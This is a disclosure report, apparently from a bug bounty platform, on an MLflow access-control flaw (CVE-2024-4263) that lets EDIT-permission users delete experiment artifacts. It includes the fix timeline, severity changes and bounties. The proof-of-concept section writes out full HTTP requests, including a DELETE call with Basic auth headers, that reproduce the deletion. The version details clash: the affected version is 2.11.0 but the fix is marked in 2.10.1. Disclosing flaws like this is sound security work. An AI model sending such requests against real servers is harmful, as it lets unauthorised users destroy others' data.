

Low privilege users can delete artifacts with EDIT permission in mlflow/mlflow

✓ Valid

Reported on Mar 4th 2024

Description

There is a broken access control vulnerability which allows low privilege users to delete any artifacts even if they have EDIT permissions on experiment. There is no proper validation for DELETE requests for EDIT user permission which allows low privilege user to delete artifacts with EDIT permission privilege

Proof of Concept

Create a test user at `/signup` Set permissions to this user for a particular experiment id using below request:- Note:- Below request is sent by admin user Authorization code

```
POST /api/2.0/mlflow/experiments/permissions/create HTTP/1.1
Host: 127.0.0.1:8050
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8050/
Content-Type: application/json
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: close
Cookie: _ga_R1FN4KJKJH=GS1.1.1709044114.12.1.1709044119.0.0.0; _ga=GA1.1.860805038.
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 81

{"username":"testing","experiment_id":"795740547060925173","permission":"EDIT"}
```

Check here <https://mlflow.org/docs/latest/auth/rest-api.html#mlflowpermission> where you have mentioned EDIT permission user can read and can update artifacts but low privilege user cannot use DELETE request.

Below request is sent with low privilege user Authorization code Now use this request to delete a directory inside artifact:-

```
DELETE /api/2.0/mlflow-artifacts/artifacts/795740547060925173/ HTTP/1.1
Host: 127.0.0.1:8050
User-Agent: mlflow-python-client/2.11.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Authorization: Basic dGVzdGluZzp0ZXN0aW5n
```

Notice that directory is deleted

Impact

Low privilege user can delete artifacts without permission

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🕒 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago



✎️ **Aditya Singh** modified the report 2 years ago



Aditya Singh commented 2 years ago

Researcher

Fix is working and its resolved as per this fix: <https://github.com/mlflow/mlflow/pull/11309>

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎️ **Dan McInerney** modified the Severity from High (8.3) to High (8.1) 2 years ago



✎️ **Marcello** modified the Severity from High (8.1) to Medium (5.4) 2 years ago



Aditya Singh commented 2 years ago

Researcher

hello team, It has been fixed by @harupy

✉️ We have sent a follow up to the **mlflow** team. We will try again in 4 days. 2 years ago



WeichenXu commented 2 years ago

Maintainer

The fix <https://github.com/mlflow/mlflow/pull/11309> is in Mlflow master branch, but it haven't been released. We have to wait next mlflow release.

  A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago

 The scheduled publication date was automatically extended from 19th Apr 2024 to 26th Apr 2024 due to the maintainers acknowledgement of the report 2 years ago

 We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



 **Dan McInerney** validated this vulnerability 2 years ago

 **rook1337** has been awarded the disclosure bounty 

 The fix bounty is now up for grabs

 The researcher's credibility has increased: +7

 **CVE-2024-4263** assigned to this report. 2 years ago



 **Dan McInerney** marked this as fixed in **2.10.1** with commit **b43e0e** 2 years ago

 **Harutaka Kawamura** has been awarded the fix bounty 

 **CVE-2024-4263** has now been published 2 years ago

[Sign in](#) to join this conversation

CVE
CVE-2024-4263
Published

Vulnerability Type
CWE-284: Improper Access Control

Severity
Medium (5.4)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	Low

Registry
Pypi

Affected Version
2.11.0

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



Aditya Singh

@rook1337

LIGHTWEIGHT



Fixed by



Harutaka Kawamura

@harupy

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

